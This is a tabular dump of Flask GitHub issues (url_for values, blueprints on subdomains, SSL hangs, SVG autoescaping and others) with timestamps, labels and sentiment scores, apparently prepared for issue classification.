- Flask version: 2.2.2",,2022-12-06 18:01:46+00:00,2022-12-06 18:06:45+00:00,1,nan,0.0035,javascript file upload hello i m trying to upload files to flask using javascript on this page i can read how to do that with an html form however i m not able to do the same with pure javascript to replicate in flask is not empty but and are any help would be greatly appreciated environment python version flask version,others,0.8669
pallets/flask,1473561545,flask.url_for no longer supporting values parameter,"In Flask 2.2.2, `flask.url_for` is no longer using the `values` parameter as a proxy for the keyword arguments list, and is instead turning that into a URL parameter.

For example, in previous versions of Flask, I was able to do something like:

```
@app.route('/one')
def some_endpoint():
    return flask.redirect(flask.url_for(""other_endpoint"", values=flask.request.args))

@app.route('/two')
def other_endpoint():
    return ""Hello""
```

and then a request to e.g. `/one?foo=bar&foo=baz` would then redirect to `/two?foo=bar&foo=baz`. However, now it redirects to `/two?values=ImmutableMultiDict([('foo',+'bar'),+('foo',+'baz')])`.

I'm guessing that the underlying parameter name for the keyword arguments list has changed, but [the documentation](https://flask.palletsprojects.com/en/2.2.x/api/?highlight=url_for#flask.Flask.url_for) has not been updated to reflect this.

As a workaround I can do e.g. `url_for(""other_endpoint"", **request.args)`, but this doesn't properly preserve argument lists with multiple identical keys.

Environment:

- Python version: 3.10.8
- Flask version: 2.2.2, Werkzeug 2.2.2
",,2022-12-02 23:09:02+00:00,2022-12-02 23:30:02+00:00,6,nan,0.0146,flask url for no longer supporting values parameter in flask is no longer using the parameter as a proxy for the keyword arguments list and is instead turning that into a url parameter for example in previous versions of flask i was able to do something like and then a request to e g would then redirect to however now it redirects to i m guessing that the underlying parameter name for the keyword arguments list has changed but the documentation has not been updated to reflect this as a workaround i can do e g but this doesn t properly preserve argument lists with multiple identical keys environment python version flask version werkzeug,help,-0.5574
pallets/flask,1471845430,Allow template_folder to be a pathlib.Path object,"When constructing the Flask object, it would be nice if template_folder could be either a string (currently) or a pathlib.Path object. This would match static_folder, which is currently typed as `Union[str, os.PathLike]`. That functionality was added in  #3579; I was unable to find any reason why the same wasn't done for template_folder, so I assume it was an unintentional omission.

https://flask.palletsprojects.com/en/2.2.x/api/#application-object

Not having this functionality is not a dealbreaker, as it's pretty simple to do `template_folder=str(path)`, but it would be nice and match static_folder. In SecureDrop our code is going to look like:
```python3
    app = Flask(
        __name__,
        template_folder=str(config.JOURNALIST_TEMPLATES_DIR.absolute()),
        static_folder=config.STATIC_DIR,
    )
```

...so implementing this would be nice.",typing,2022-12-01 19:37:13+00:00,2022-12-24 18:29:54+00:00,1,typing,22.9533,allow template folder to be a pathlib path object when constructing the flask object it would be nice if template folder could be either a string currently or a pathlib path object this would match static folder which is currently typed as that functionality was added in i was unable to find any reason why the same wasn t done for template folder so i assume it was an unintentional omission not having this functionality is not a dealbreaker as it s pretty simple to do but it would be nice and match static folder in securedrop our code is going to look like so implementing this would be nice,others,0.9337
pallets/flask,1467339887,Heroku Deployment Tutorial,"
I wrote a simple tutorial a month ago on how to deploy a Flask project on Heroku for an assignment for the open source software course I am enrolled for my computer science program. A requirement is for the assignment is to contribute to an open source project and submit a pull request to project.  Hopefully I followed CONTRIBUTING.rst correctly. If anything you can close this issue and close the pull request.

This tutorial was written prior to announcement where Heroku stated that they will no longer be providing a free package for their dyno management system. The tutorial was recently updated to bring attention to this change. 

This tutorial was written to help others deploy their Flask projects on Heroku through the utilization of a Github account and repository. 

",,2022-11-29 02:10:34+00:00,2022-11-29 04:59:42+00:00,1,nan,0.1175,heroku deployment tutorial i wrote a simple tutorial a month ago on how to deploy a flask project on heroku for an assignment for the open source software course i am enrolled for my computer science program a requirement is for the assignment is to contribute to an open source project and submit a pull request to project hopefully i followed contributing rst correctly if anything you can close this issue and close the pull request this tutorial was written prior to announcement where heroku stated that they will no longer be providing a free package for their dyno management system the tutorial was recently updated to bring attention to this change this tutorial was written to help others deploy their flask projects on heroku through the utilization of a github account and repository,documentation,0.7579
pallets/flask,1465337250,Documentation enhancement request,"I noticed that although there is a Code of Conduct file available to view in the main GitHub page, it does not seem to be prominently linked in the documentation here on GitHub. 
It is mentioned in the Discord server if someone chooses to join that, but I feel it could use a bit more visibility.
I added a link to the Code of Conduct on both the README and CONTRIBUTING pages.

I also updated some of the verbiage in the README sample program section, for clarity for newer users.

Full disclosure, this was completed as part of a school project and this is my first Open Source contribution.
If anything I submitted looks interesting enough to add, I would love for it to be accepted.
Otherwise, no hard feelings and please just discard or reject this request.

Thank you for your consideration.",,2022-11-27 05:27:17+00:00,2022-11-28 15:53:09+00:00,1,nan,1.4346,documentation enhancement request i noticed that although there is a code of conduct file available to view in the main github page it does not seem to be prominently linked in the documentation here on github it is mentioned in the discord server if someone chooses to join that but i feel it could use a bit more visibility i added a link to the code of conduct on both the readme and contributing pages i also updated some of the verbiage in the readme sample program section for clarity for newer users full disclosure this was completed as part of a school project and this is my first open source contribution if anything i submitted looks interesting enough to add i would love for it to be accepted otherwise no hard feelings and please just discard or reject this request thank you for your consideration,feature,0.886
pallets/flask,1462602545,Replacing before_first_request,"Flask's `before_first_request` is being deprecated, due to some fairly valid reasoning. I totally get the reasoning behind it, and I even agree with it!

However, I have a Flask-based publishing framework that relies on its behavior. In particular, my framework wraps Flask via inheritance. This framework makes use of another library which needs to be able to access `app.secret_key` at the time of its own instantiation, and also call `app.add_url_rule` before the first request is handled. In effect, this code happens in my framework's `__init__`:

```python
class ExtendedApp(flask.Flask):
    def __init__(self, name, cfg, **kwargs):
        super().__init__(name, cfg, **kwargs)

        self.before_first_request(self._setup_other_library)

    def _setup_other_library(self):
        self._library_instance = OtherLibrary(self)
```

and then to keep things simple, my framework's setup looks like:

```python
app = ExtendedApp(...)
app.secret_key = 'sd89u7f9sduf9sd'
```

Since `OtherLibrary`'s constructor needs to be able to obtain the already-set `app.secret_key` as part of its setup, and needs to be able to `add_url_rule` on the Flask application before the first request is served, this setup can't happen conditionally in the first request's `before_request` handler, and I'd rather not have to add another method to ExtendedApp like `finish_setup()` or the like.

Also, I had originally *not* used inheritance (instead providing a library function that gener... [TRUNCATED]",,2022-11-24 00:42:34+00:00,2022-11-24 04:44:55+00:00,0,nan,0.1683,replacing before first request flask s is being deprecated due to some fairly valid reasoning i totally get the reasoning behind it and i even agree with it however i have a flask based publishing framework that relies on its behavior in particular my framework wraps flask via inheritance this framework makes use of another library which needs to be able to access at the time of its own instantiation and also call before the first request is handled in effect this code happens in my framework s and then to keep things simple my framework s setup looks like since s constructor needs to be able to obtain the already set as part of its setup and needs to be able to on the flask application before the first request is served this setup can t happen conditionally in the first request s handler and i d rather not have to add another method to extendedapp like or the like also i had originally not used inheritance instead providing a library function that gener truncated,feature,0.8402
pallets/flask,1460218427,Flask displaying old / cached version of the app,"A handful of my students are encountering an issue whereby they are developing a flask app locally, and when they make some new changes to the code and restart the local web server, it doesn't show the updated changes, but rather what appears to be an older state of the web app code.

I have confirmed they are saving the files properly and restarting the web app, and their code looks identical to mine and other students whose apps are working locally. The weird thing is the same code and usage command works for me and many of my students, but not for a few of them.

To replicate the bug, we are using the following application factory function in the ""web_app/\_\_init\_\_.py"" file, and running the app with `FLASK_APP=web_app flask run` command:

```py
# this is the ""web_app/__init__.py"" file...

from flask import Flask

from web_app.routes.home_routes import home_routes

def create_app():
    app = Flask(__name__)
    app.register_blueprint(home_routes)
    return app

if __name__ == ""__main__"":
    my_app = create_app()
    my_app.run(debug=True)
```

We tried using the configuration variable `app.config[""TEMPLATES_AUTO_RELOAD""] = True` in the application factory function, but it has no effect.

We also tried removing / commenting out the code in the main conditional at the bottom of the ""web_app/\_\_init\_\_.py"" file, upgrading Flask version to 2.2.1, and using the new flask run command `flask --app web_app --debug run`. But that shows the same behav... [TRUNCATED]",,2022-11-22 16:45:38+00:00,2022-11-22 16:53:03+00:00,0,nan,0.0052,flask displaying old cached version of the app a handful of my students are encountering an issue whereby they are developing a flask app locally and when they make some new changes to the code and restart the local web server it doesn t show the updated changes but rather what appears to be an older state of the web app code i have confirmed they are saving the files properly and restarting the web app and their code looks identical to mine and other students whose apps are working locally the weird thing is the same code and usage command works for me and many of my students but not for a few of them to replicate the bug we are using the following application factory function in the web app init py file and running the app with command we tried using the configuration variable in the application factory function but it has no effect we also tried removing commenting out the code in the main conditional at the bottom of the web app init py file upgrading flask version to and using the new flask run command but that shows the same behav truncated,others,-0.8338
pallets/flask,1457208664,RuntimeError: cannot join current thread,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
I use flask_apscheduler to run a scheduled task, and the scheduled task involves a multiprocess task. What's more, I deploy my app with uwsgi, and then I get this error:

```bash
Sun Nov 20 22:39:00 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:01 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:01 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:02 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:02 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Sun Nov 20 22:39:06 2022 - SIGPIPE: writing to a closed pipe/socket/fd (probably the client disconnected) !!!
Error in atexit._run_exitfuncs:
Traceback (most recent call last):
  File ""/home/tops/lib/python3.7/concurrent/futures/thread.py"", line 40, in _python_exit
    t.join()
  File ""/home/tops/lib/python3.7/threading.py"", line 1029, in join
    raise RuntimeError(""cannot join current thread"")
RuntimeError: cannot join current thread
```

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that ... [TRUNCATED]",,2022-11-21 02:47:56+00:00,2022-11-21 02:53:42+00:00,0,nan,0.004,runtimeerror cannot join current thread this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is i use flask apscheduler to run a scheduled task and the scheduled task involves a multiprocess task what s more i deploy my app with uwsgi and then i get this error describe how to replicate the bug include a minimal reproducible example that truncated,bug,-0.8477
pallets/flask,1451415792,docs should explain the `@setupmethod` behavior,"The [appcontext documentation](https://flask.palletsprojects.com/en/2.2.x/appcontext/) should explain the new @setupmethod 'shell_context_process' behavior, linked to https://github.com/pallets/flask/pull/4577.

Flask raises an Assertion Error.

> AssertionError: The setup method 'shell_context_processor' can no 
    longer be called on the application. It has already handled its 
    first request, any changes will not be applied consistently. Make
    sure all imports, decorators, functions, etc. needed to set up the 
    application are done before running it.

The error should be documented, and a correct implementation should be provided.
",docs,2022-11-16 11:31:02+00:00,2023-02-10 22:57:46+00:00,3,docs,86.4769,docs should explain the behavior the appcontext documentation should explain the new setupmethod shell context process behavior linked to flask raises an assertion error assertionerror the setup method shell context processor can no longer be called on the application it has already handled its first request any changes will not be applied consistently make sure all imports decorators functions etc needed to set up the application are done before running it the error should be documented and a correct implementation should be provided,documentation,-0.7096
pallets/flask,1446476736,Plesk integration,Pleask is one of the best admin control panel in the market. Would not it be nice to have an easy deployment plugin?,,2022-11-12 14:38:22+00:00,2022-11-12 14:48:27+00:00,2,nan,0.007,plesk integration pleask is one of the best admin control panel in the market would not it be nice to have an easy deployment plugin,others,0.6562
pallets/flask,1445616847,Blueprint static serving ignores the blueprint's subdomain,It should set the same subdomain as the blueprint.,blueprints,2022-11-11 15:17:54+00:00,2023-01-07 20:17:39+00:00,1,blueprints,57.2082,blueprint static serving ignores the blueprint s subdomain it should set the same subdomain as the blueprint,others,-0.2732
pallets/flask,1438185158,Improve JSONIFY_MIMETYPE deprecation warning,"With version 2.2 of flask, `JSONIFY_MIMETYPE` was deprecated in favor of `DefaultJSONProvider`'s `mimetype` class property.
When `JSONIFY_MIMETYPE` is still used, a `DeprecationWarning` is raised: 

> The 'JSONIFY_MIMETYPE' config key is deprecated and will be removed in Flask 2.3. Set 'app.json.mimetype' instead.

When following this instruction, [pyright](https://github.com/RobertCraigie/pyright-python) reports an error, though:

> error: Cannot assign member ""mimetype"" for type ""JSONProvider"": Member ""mimetype"" is unknown  - Pyright[reportGeneralTypeIssues]

I think pyright is correct: the `mimetype` property does not exist on `JSONProvider` - as it's only meant to be a base class allowing users to customize behavior. Only its subclass `DefaultJSONProvider` has this property, and is expected to act accordingly.

So I think the deprecation hint should instead say:

> Please set flask.json.provider.DefaultJSONProvider.mimetype instead.

If you agree, I'm happy to provide a pull request!

Environment:

- Python version: 3.10.8
- Flask version: 2.2.2
- pyright version: 1.1.278

",,2022-11-07 11:12:38+00:00,2022-11-07 14:09:20+00:00,2,nan,0.1227,improve jsonify mimetype deprecation warning with version of flask was deprecated in favor of s class property when is still used a is raised the jsonify mimetype config key is deprecated and will be removed in flask set app json mimetype instead when following this instruction pyright reports an error though error cannot assign member mimetype for type jsonprovider member mimetype is unknown pyright reportgeneraltypeissues i think pyright is correct the property does not exist on as it s only meant to be a base class allowing users to customize behavior only its subclass has this property and is expected to act accordingly so i think the deprecation hint should instead say please set flask json provider defaultjsonprovider mimetype instead if you agree i m happy to provide a pull request environment python version flask version pyright version,others,0.6908
pallets/flask,1413691816,Flask hangs when run as a Python subprocess that is piping stderr,"Apologies for the highly confusing earlier issue. After another hour of experimentation, it looks like I've narrowed the issue down specifically to when Flask is run in a subprocess from Python with IO from stdout piped back into that program.

# To reproduce

To replicate this bug, we need 3 programs: the server, the runner, and the tests.

```py
# app.py
# A super simple web server - surely nothing should go wrong here
from flask import Flask, request

app = Flask(__name__)
# Counter to check how many times we've responded
count = 0


@app.get('/')
def home():
    global count
    name = request.args['name']
    count += 1
    return {""response"": f""Hello {name}! Response #{count}""}
```

```py
# run.py
# This runs the flask server in a subprocess
import sys
import subprocess

flask = subprocess.Popen(
    # Run the server using the same python executable (to respect virtual environments)
    # We use the -u flag to trigger unbuffered mode so that we can read from the pipes more nicely
    [sys.executable, '-u', '-m', 'flask', 'run'],
    # We pipe stderr so we can read from it later
    stderr=subprocess.PIPE,
)
try:
    flask.wait()
except KeyboardInterrupt:
    flask.kill()

print(flask.stderr.read())
```

```py
# test_main.py
# A super simple test that runs 1000 times - it only fails the 910th time
import pytest
import requests

@pytest.mark.parametrize(
    'time',
    [i + 1 for i in range(1000)]
)
def test_main(tim... [TRUNCATED]",,2022-10-18 18:50:47+00:00,2022-10-18 18:55:53+00:00,1,nan,0.0035,flask hangs when run as a python subprocess that is piping stderr apologies for the highly confusing earlier issue after another hour of experimentation it looks like i ve narrowed the issue down specifically to when flask is run in a subprocess from python with io from stdout piped back into that program to reproduce to replicate this bug we need programs the server the runner and the tests py test main py a super simple test that runs times it only fails the th time import pytest import requests pytest mark parametrize time i for i in range def test main tim truncated,others,-0.2716
pallets/flask,1413567369,Flask hangs when run as a subprocess alongside pytest,"I've spent the last hour and a half trying and failing to debug this test and I am utterly stumped. To simplify the process of testing the Flask server I am building, I have made a relatively simple script which starts the server, then runs pytest, kills the server, writes the outputs to files, and exits with Pytest's exit code. This code was working perfectly until today, and I haven't modified it since (aside from debugging this issue).

Here's the problem: when it gets to a certain point in the tests, it hangs. The weird thing is that this does not happen if I run my tests in any other way.
* Debugging my server in VS Code, and running tests in the terminal: works
* Running my server using the same code used in the test script and running pytest manually: works
* Running pytest using the test script and running the server through the start server script (which uses the same code for running the server as the test script does) in a second terminal: works

Here's the other interesting thing: the tests always hang in the same place, part way through the setup fixture. It sends the clear command, and an echo request to the server (which prints the name of the current test). The database clears successfully, and the server echoes the correct information, but the echo route never exits - my tests never get a response. This echo route behaves perfectly for the 50 or so tests that happen before this point. If I comment out the test that is causing it to fail, it fails on th... [TRUNCATED]",,2022-10-18 17:09:29+00:00,2022-10-18 17:20:56+00:00,3,nan,0.008,flask hangs when run as a subprocess alongside pytest i ve spent the last hour and a half trying and failing to debug this test and i am utterly stumped to simplify the process of testing the flask server i am building i have made a relatively simple script which starts the server then runs pytest kills the server writes the outputs to files and exits with pytest s exit code this code was working perfectly until today and i haven t modified it since aside from debugging this issue here s the problem when it gets to a certain point in the tests it hangs the weird thing is that this does not happen if i run my tests in any other way debugging my server in vs code and running tests in the terminal works running my server using the same code used in the test script and running pytest manually works running pytest using the test script and running the server through the start server script which uses the same code for running the server as the test script does in a second terminal works here s the other interesting thing the tests always hang in the same place part way through the setup fixture it sends the clear command and an echo request to the server which prints the name of the current test the database clears successfully and the server echoes the correct information but the echo route never exits my tests never get a response this echo route behaves perfectly for the or so tests that happen before this point if i comment out the test that is causing it to fail it fails on th truncated,others,0.1406
pallets/flask,1402844299,Large file uploads - form.field.data.save() copy takes too long ,"It would be nice to have a way to specify storage directory for the form
file uploads, and use tempfile.NamedTemporaryFile() instead of just
tempfile.SpooledTemporaryFile() when needed.

The thing is that uploads to SpooledTemporaryFile are stored in /tmp
(often tmpfs, or a specifically fast volume, etc.).  Later it is expected
that we use the werkzeug field.data.save() method to copy the file to the
final destionation.  This doesn't scale for files of several GB, the copy
action may take several minutes depending on many factors.

It would be nice to upload the files directly to the target destination,
or at least to the same volume (uploads are typically limited by network
connection, not I/O).  If on the same volume, we can hardlink the file to
the target destination, or move - and save a lot of the request time
(which potentially can timeout).

We are trying to way-around this using our own Request method that
overrides the internal _get_file_stream() method to enforce the
NamedTemporaryFile() usage:

  https://pagure.io/copr/copr/pull-request/2334#request_diff

If this can not be implemented in Flask or Werkzeug, it would be at least
nice to have a documented way how to use NamedTemporaryFile() for uploads.

Let me know if I can help with anything, and thank you for the pallets' projects!

Some interesting reading:
https://github.com/bottlepy/bottle/issues/288
https://github.com/bottlepy/bottle/pull/289",,2022-10-10 09:11:55+00:00,2022-10-11 15:55:49+00:00,3,nan,1.2805,large file uploads form field data save copy takes too long it would be nice to have a way to specify storage directory for the form file uploads and use tempfile namedtemporaryfile instead of just tempfile spooledtemporaryfile when needed the thing is that uploads to spooledtemporaryfile are stored in tmp often tmpfs or a specifically fast volume etc later it is expected that we use the werkzeug field data save method to copy the file to the final destionation this doesn t scale for files of several gb the copy action may take several minutes depending on many factors it would be nice to upload the files directly to the target destination or at least to the same volume uploads are typically limited by network connection not i o if on the same volume we can hardlink the file to the target destination or move and save a lot of the request time which potentially can timeout we are trying to way around this using our own request method that overrides the internal get file stream method to enforce the namedtemporaryfile usage if this can not be implemented in flask or werkzeug it would be at least nice to have a documented way how to use namedtemporaryfile for uploads let me know if i can help with anything and thank you for the pallets projects some interesting reading,others,0.9776
pallets/flask,1402374024,Inconsistent documentation on `debug`s default,"Does the `run` method of the `Flask` class take an optional argument `debug` with default value `None` [1], or `False` [2]?

[1] https://flask.palletsprojects.com/en/2.2.x/api/#flask.Flask.run
[2] https://flask.palletsprojects.com/en/2.2.x/api/#flask.Flask.debug",,2022-10-09 19:30:19+00:00,2022-10-09 22:06:41+00:00,2,nan,0.1086,inconsistent documentation on s default does the method of the class take an optional argument with default value or,bug,-0.0258
pallets/flask,1401905506,Flask hangs when using ssl_context while decoding the https request ,"Simplest sample program:

```python
from flask import Flask

app = Flask(""TestApp"")

@app.route(""/"")
def test():
    return ""Hello World!""

app.run(host=""0.0.0.0"", port=5001, ssl_context=""adhoc"")
```

Test the web server through a browser: https://ip_address:5001/
The result is: `Hello World!`.

Run `telnet ip_address 5001` (do not add chars as it expects an SSL/TLS session)
Test the web server through a browser: https://ip_address:5001/

The browser request hangs until the telnet is killed.

If you use `app.run(host=""0.0.0.0"", port=5001, ssl_context=""adhoc"", threaded=True)` the result is the same: each request is decoded before spawning the thread.

Simplest example:

```python
import time
from flask import Flask

app = Flask(""TestApp"")

@app.route(""/0"")
def test_0():
    time.sleep(10)
    return ""Hello World-0!""

@app.route(""/1"")
def test_1():
    time.sleep(10)
    return ""Hello World-1!""

@app.route(""/2"")
def test_2():
    time.sleep(10)
    return ""Hello World-2!""

app.run(host=""0.0.0.0"", port=5001, ssl_context=""adhoc"", threaded=True)
```

Run `telnet ip_address 5001`
Test the web server through a browser on different tabs using different routes to enable multithreading:

- https://ip_address:5001/0
- https://ip_address:5001/1
- https://ip_address:5001/2

All requests hang until the telnet is killed.

It looks like when using `ssl_context` each request is strictly decoded in sequence.

Environment:

- Python... [TRUNCATED]",,2022-10-08 10:42:33+00:00,2022-10-08 13:19:12+00:00,1,nan,0.1088,flask hangs when using ssl context while decoding the https request simplest sample program test the web server through a browser the result is run do not add chars as it expects an ssl tls session test the web server through a browser the browser request hangs until the telnet is killed if you use the result is the same each request is decoded before spawning the thread simplest example run test the web server through a browser on different tabs using different routes to enable multithreading all requests hang until the telnet is killed it looks like when using each request is strictly decoded in sequence environment python truncated,feature,-0.8176
pallets/flask,1397435841,"Celery Background Tasks: Property ""Task"" defined in ""Celery"" is read-only","Currently, the [documentation](https://flask.palletsprojects.com/en/2.2.x/patterns/celery/) says to replace `celery.Task` with a custom `ContextTask`. But this raises an error using mypy:

```
$ cat minimal.py 
from flask import Flask
from celery import Celery, Task

def make_celery(app: Flask):
    celery = Celery(app.import_name)
    celery.conf.update(app.config[""CELERY_CONFIG""])

    class ContextTask(Task):
        def __call__(self, *args, **kwargs):
            with app.app_context():
                return self.run(*args, **kwargs)

    celery.Task = ContextTask
    return celery
$ mypy minimal.py
minimal.py:13: error: Property ""Task"" defined in ""Celery"" is read-only
minimal.py:13: error: Incompatible types in assignment (expression has type ""Type[ContextTask]"", variable has type ""Task[Any]"")
```

~Instead one should initialize Celery with a string of the desired Task class. [See Celery docs.](https://docs.celeryq.dev/en/stable/userguide/tasks.html#app-wide-usage)~

<details>
<summary>Invalid proposed solution</summary>

```
$ cat minimal.py 
from flask import Flask
from celery import Celery, Task


class ContextTask(Task):
    def __call__(self, *args, **kwargs):
        with app.app_context():
            return self.run(*args, **kwargs)


def make_celery(app: Flask):
    celery = Celery(app.import_name, task_cls=""minimal.minimal:ContextTask"")
    celery.conf.update(app.config[""CELERY_CONFIG""])

    return celery
$ mypy m... [TRUNCATED]",docs,2022-10-05 08:32:30+00:00,2023-02-10 17:35:46+00:00,1,docs,128.3773,celery background tasks property task defined in celery is read only currently the documentation says to replace with a custom but this raises an error using mypy instead one should initialize celery with a string of the desired task class see celery docs invalid proposed solution cat minimal py from flask import flask from celery import celery task class contexttask task def call self args kwargs with app app context return self run args kwargs def make celery app flask celery celery app import name task cls minimal minimal contexttask celery conf update app config celery config return celery mypy m truncated,documentation,0.1531
pallets/flask,1397322120,How to stop the server through code,"Hi,
I want to know how to stop server by code?

Does it provide a function like stop ()?

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2022-10-05 06:50:27+00:00,2022-10-05 13:21:11+00:00,1,nan,0.2713,how to stop the server through code hi i want to know how to stop server by code does it provide a function like stop replace this comment with an example of the problem which this feature would resolve is this problem solvable without changes to flask such as by subclassing or using an extension,help,-0.6908
pallets/flask,1396050407,Nested blueprints are not respected when mounted on subdomains,"Hello, and thanks for all your work 🙏🏻 

Nested blueprints [as described in the docs](https://flask.palletsprojects.com/en/2.2.x/blueprints/#nesting-blueprints) work perfectly fine when using `url_prefix`. However, when mounting the parent blueprint using a subdomain, the child routes are not accessible.

```python
from flask import Flask
from flask import Blueprint

app = Flask(__name__)
app.config[""SERVER_NAME""] = ""localhost:5000""
parent = Blueprint(""parent"", __name__)
child = Blueprint(""child"", __name__)

@app.route('/')
def index():
    return ""index""

@parent.route('/')
def parent_index():
    return ""parent""

@child.route('/child/')
def child_index():
    return ""child""

parent.register_blueprint(child)
app.register_blueprint(parent, subdomain=""api"")


if __name__ == '__main__':
    app.run(debug=True)
```

The index route works as expected:

```
❯ http http://localhost:5000/
HTTP/1.1 200 OK
Connection: close
Content-Length: 5
Content-Type: text/html; charset=utf-8
Date: Tue, 04 Oct 2022 10:44:10 GMT
Server: Werkzeug/2.2.2 Python/3.10.4

index
```

So does the parent route in the subdomain:

```
❯ http http://api.localhost:5000/
HTTP/1.1 200 OK
Connection: close
Content-Length: 6
Content-Type: text/html; charset=utf-8
Date: Tue, 04 Oct 2022 10:44:06 GMT
Server: Werkzeug/2.2.2 Python/3.10.4

parent
```

But the child responds with a 404:

```
❯ http http://api.localhost:5000/child/
HTTP/1.1 404 NOT FOUND
C... [TRUNCATED]",blueprints,2022-10-04 10:51:08+00:00,2023-01-04 21:07:05+00:00,1,blueprints,92.4277,nested blueprints are not respected when mounted on subdomains hello and thanks for all your work nested blueprints as described in the docs work perfectly fine when using however when mounting the parent blueprint using a subdomain the child routes are not accessible the index route works as expected so does the parent route in the subdomain but the child responds with a http http not found c truncated,others,0.4893
pallets/flask,1394067180,Automatically escape text in .svg files,"## Summary

Currently, autoescaping is enabled for all templates ending in `.html`, `.htm`, `.xml` as well as `.xhtml` when using `render_template()` (https://flask.palletsprojects.com/en/2.2.x/templating/).

As SVG files are very similar in nearly all aspects to XML files, `.svg` should also be autoescaped.

## Problem

In this example, trying to insert a title into an SVG to render, an error will occur if the title contains unescaped text such as an ampersand (eg. ""TEST & EXAMPLE"")

In a `main.svg` template file:

```svg
<svg xmlns='http://www.w3.org/2000/svg'
    xmlns:xlink='http://www.w3.org/1999/xlink' width=""250"" height=""220"" viewBox=""0 0 250 220"">
    <text fill=""#ffffff"" font-family=""Roboto, Segoe UI, Ubuntu, Arial, sans-serif"" font-weight=""600"" font-size=""15px"">
        {{ title }}
    </text>
</svg>
```

```py
render_template(""main.svg"", title=""TEST & EXAMPLE"")
```

![image](https://user-images.githubusercontent.com/20955511/193494832-543cbcba-2c70-454c-bde6-21d296dc5ddf.png)

## Current workarounds

Changing the filename to .xml can be done as a workaround, as well overriding the autoescape option or other methods for toggling autoescape. I'm proposing this as a feature request as I believe it is logical for SVG to work the same way as XML.",,2022-10-03 03:18:29+00:00,2022-10-30 14:55:52+00:00,0,nan,27.4843,automatically escape text in svg files summary currently autoescaping is enabled for all templates ending in as well as when using as svg files are very similar in nearly all aspects to xml files should also be autoescaped problem in this example trying to insert a title into an svg to render an error will occur if the title contains unescaped text such as an ampersand eg test example in a template file image current workarounds changing the filename to xml can be done as a workaround as well overriding the autoescape option or other methods for toggling autoescape i m proposing this as a feature request as i believe it is logical for svg to work the same way as xml,others,-0.2023
pallets/flask,1385084417,missing form in request.form.items(),"```py
class SettingsLogs(MethodView):

    async def post(self, server_id: int):
        token = session.get(""token"")
        if not token:
            return redirect(self.register_url)

        ipc_server = ipc.Client(secret_key=""doggo"")
        status = request.form.get('logs-checkbox') # this normally works
        if not status:
            return ""test""

        channel_id = request.form.get('channels')

        joins = request.form.get('joins_checkbox') # that's the problem.
        print(joins)
```
when trying to retrieve a value from another checkbox no matter if the checkbox is enabled or not it always returns None.



describes it exactly on [stackoverflow](https://stackoverflow.com/questions/73845694/python-flask-request-form-get-always-returns-none/73845745#73845745)


Excepted Behaviour:
`request.form.get('messages-checkbox')` will return a value when the checkbox is enabled


Environment:

- Python version: 3.9.8
- Flask version: 2.1.3
",,2022-09-25 16:17:09+00:00,2022-09-25 18:57:43+00:00,1,nan,0.1115,missing form in request form items when trying to retrieve a value from another checkbox no matter if the checkbox is enabled or not it always returns none describes it exactly on stackoverflow excepted behaviour will return a value when the checkbox is enabled environment python version flask version,feature,0.128
pallets/flask,1378826629,test clients inside with clause share context in 2.2.x,"Defining `flask.test_client()` instances using `with` clause causes them to share context/content of `flask.g` variable.
This wasn't the case in previous versions of flask.

### How to replicate the bug
```python
import flask

app = flask.Flask(""app"")

@app.route(""/index"")
def index():

    if ""my_special_data"" in flask.g:
        print(""special data found"")
    else:
        print(""no special data"")

    flask.g.my_special_data = True

    return ""OK"", 200

with app.test_client() as first_client, app.test_client() as second_client:

    first_client.get(""/index"")
    second_client.get(""/index"")
```

In flask==2.2.x running this script prints
```
no special data
special data found
```
showing that second_client shares `flask.g` with first client.

### Expected behaviour

In flask==2.1.3 this code prints
```
no special data
no special data
```

Additionally in both previous and current (2.2.x) versions of flask, running test clients defined outside of with clause, that is writing
```python
first_client = app.test_client()
second_client = app.test_client()

first_client.get(""/index"")
second_client.get(""/index"")
```
produces
```
no special data
no special data
```
 
<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.8.13
- Flask version: 2.2.2

I believe this behavior should be considered a bug, and I noticed this behavior breaking some libraries based o... [TRUNCATED]",,2022-09-20 05:08:16+00:00,2022-09-20 13:09:01+00:00,1,nan,0.3339,test clients inside with clause share context in x defining instances using clause causes them to share context content of variable this wasn t the case in previous versions of flask how to replicate the bug in flask x running this script prints showing that second client shares with first client expected behaviour in flask this code prints additionally in both previous and current x versions of flask running test clients defined outside of with clause that is writing produces describe the that should have happened but didn t environment python version flask version i believe this behavior should be considered a bug and i noticed this behavior breaking some libraries based o truncated,others,-0.4939
pallets/flask,1376644606,cant run https adhoc,"Hi. 

for sometime i was able to run https using flask using tmp ssl cert. adhoc.
but now when i am trying to enable https back again from http. i face this issue.

```
  File ""Z:\Python_Venv\env1\lib\site-packages\gevent\server.py"", line 125, in __init__
    self.wrap_socket = ssl_context.wrap_socket
AttributeError: 'str' object has no attribute 'wrap_socket'
```

i am adding this to my code.

ssl_context='adhoc'

i am on Python 3.10.4 , flask 2.2.2

UPDATE : 
i found that this issue occurs when :

**from engineio.async_drivers import gevent**

But this is important as since i am packing using pyinstaller. this line must be there",,2022-09-17 02:54:56+00:00,2022-09-17 03:33:29+00:00,1,nan,0.0268,cant run https adhoc hi for sometime i was able to run https using flask using tmp ssl cert adhoc but now when i am trying to enable https back again from http i face this issue i am adding this to my code ssl context adhoc i am on python flask update i found that this issue occurs when from engineio async drivers import gevent but this is important as since i am packing using pyinstaller this line must be there,others,0.296
pallets/flask,1371665616,Class Blueprint,"Does flask consider adding a function like running class blueprint

